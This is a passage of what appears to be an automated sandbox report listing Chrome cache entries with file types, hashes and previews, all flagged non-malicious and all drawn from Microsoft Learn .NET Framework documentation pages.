credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	dropped
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
